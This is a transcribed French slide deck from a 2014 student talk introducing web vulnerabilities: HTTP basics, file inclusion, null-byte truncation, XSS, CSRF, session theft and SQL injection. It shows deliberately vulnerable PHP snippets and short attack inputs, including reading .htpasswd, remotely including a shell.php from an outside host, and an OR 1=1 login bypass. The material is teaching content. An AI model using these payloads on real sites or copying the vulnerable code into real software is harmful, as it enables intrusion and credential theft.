Failles Web
Transcription
Failles Web
Introduction Les failles les plus courantes Les injections SQL Failles Web Maxime Arthaud net7 Jeudi 03 avril 2014 Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Syllabus 1 Introduction Le protocole HTTP Exemple de Requête Transmission de données Les cookies 2 Les failles les plus courantes 3 Les injections SQL Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Le protocole HTTP HTTP = HyperText Transfer Protocol Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Le protocole HTTP HTTP = HyperText Transfer Protocol Le protocole parlé par votre navigateur web (Firefox, Chrome) Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Le protocole HTTP HTTP = HyperText Transfer Protocol Le protocole parlé par votre navigateur web (Firefox, Chrome) Version 1.1 (2.0 en cours) Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Requête HTTP GET /page.html HTTP/1.1 Host: example.com Referer: http://example.com/ User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko /20100101 Firefox/28.0 Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Requête HTTP GET /page.html HTTP/1.1 Host: example.com Referer: http://example.com/ User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko /20100101 Firefox/28.0 Réponse du serveur HTTP/1.1 200 OK Date: Fri, 31 Dec 1999 23:59:59 GMT Server: Apache/0.8.4 Content-Type: text/html Content-Length: 59 Expires: Sat, 01 Jan 2000 00:59:59 GMT <title>Exemple</title> Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Méthode GET GET /page.html?name=value HTTP/1.1 Host: example.com Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Méthode GET GET /page.html?name=value HTTP/1.1 Host: example.com Méthode POST POST /page.html HTTP/1.1 Host: example.com Content-Length: 32 username=arthaum&password=secret Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Les cookies Informations stockées sur votre navigateur, envoyées aux sites web Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Les cookies Informations stockées sur votre navigateur, envoyées aux sites web De la forme key1=val1&key2=val2 Failles Web Introduction Les failles les plus courantes Les injections SQL Le protocole HTTP Exemple de Requête Transmission de données Les cookies Les cookies Informations stockées sur votre navigateur, envoyées aux sites web De la forme key1=val1&key2=val2 Outils Firebug Tamper Data Web Developer Failles Web Introduction Les failles les plus courantes Les injections SQL Include Null byte XSS CSRF Les sessions Syllabus 1 Introduction 2 Les failles les plus courantes Include Null byte XSS CSRF Les sessions 3 Les injections SQL Failles Web Introduction Les failles les plus courantes Les injections SQL Include Null byte XSS CSRF Les sessions La faille include <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include(’pages/’ . $_GET[’page’]); ?> </body> </html> Failles Web Introduction Les failles les plus courantes Les injections SQL Include Null byte XSS CSRF Les sessions La faille include <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include(’pages/’ . $_GET[’page’]); ?> </body> </html> Idées d’attaque /index.php ?page=index.php /index.php ?page=../admin/.htpasswd /index.php ?page=http ://monsite.com/shell.php Failles Web Introduction Les failles les plus courantes Les injections SQL Include Null byte XSS CSRF Les sessions La faille null byte <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include(’pages/’ . $_GET[’page’] . ’.php’); ?> </body> </html> Failles Web Introduction Les failles les plus courantes Les injections SQL Include Null byte XSS CSRF Les sessions La faille null byte <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include(’pages/’ . $_GET[’page’] . ’.php’); ?> </body> </html> Idée d’attaque /index.php ?page=index.php%00 Failles Web Introduction Les failles les plus courantes Les injections SQL Include Null byte XSS CSRF Les sessions XSS = Cross-Site Scripting <?php echo $_GET[’message’]; ?> Failles Web Introduction Les failles les plus courantes Les injections SQL Include Null byte XSS CSRF Les sessions XSS = Cross-Site Scripting <?php echo $_GET[’message’]; ?> Idée d’attaque /index.php ?message=<script >alert(’coucou’) </script > Failles Web Introduction Les failles les plus courantes Les injections SQL Include Null byte XSS CSRF Les sessions CSRF = Cross-Site Request Forgery /deleteuser.php ?id=1 Failles Web Introduction Les failles les plus courantes Les injections SQL Include Null byte XSS CSRF Les sessions CSRF = Cross-Site Request Forgery /deleteuser.php ?id=1 Idées d’attaque Forcer un administrateur à cliquer sur le lien Plus vicieux : mettre ce lien comme image de profil/signature Failles Web Introduction Les failles les plus courantes Les injections SQL Include Null byte XSS CSRF Les sessions Le danger des sessions ID de session stocké dans les cookies Failles Web Introduction Les failles les plus courantes Les injections SQL Explication Blind SQL Injection Outils Syllabus 1 Introduction 2 Les failles les plus courantes 3 Les injections SQL Explication Blind SQL Injection Outils Failles Web Introduction Les failles les plus courantes Les injections SQL Explication Blind SQL Injection Outils Explication $con = new PDO(’mysql:dbname=user_arthaum;host=mysql.bde. n7’, ’arthaum’, ’secret’); \$req = $con->query("SELECT * FROM users WHERE username=’" . $_POST[’username’] . "’ AND password=’" . $_POST[’ password’] . "’"); Failles Web Introduction Les failles les plus courantes Les injections SQL Explication Blind SQL Injection Outils Explication $con = new PDO(’mysql:dbname=user_arthaum;host=mysql.bde. n7’, ’arthaum’, ’secret’); \$req = $con->query("SELECT * FROM users WHERE username=’" . $_POST[’username’] . "’ AND password=’" . $_POST[’ password’] . "’"); Idée d’attaque username=admin’ OR 1=1# Failles Web Introduction Les failles les plus courantes Les injections SQL Explication Blind SQL Injection Outils Blind SQL Injection Pas de retour (page blanche) Failles Web Introduction Les failles les plus courantes Les injections SQL Explication Blind SQL Injection Outils Blind SQL Injection Pas de retour (page blanche) Idée d’attaque Utiliser SLEEP() Failles Web Introduction Les failles les plus courantes Les injections SQL Explication Blind SQL Injection Outils Outils sqlmap Failles Web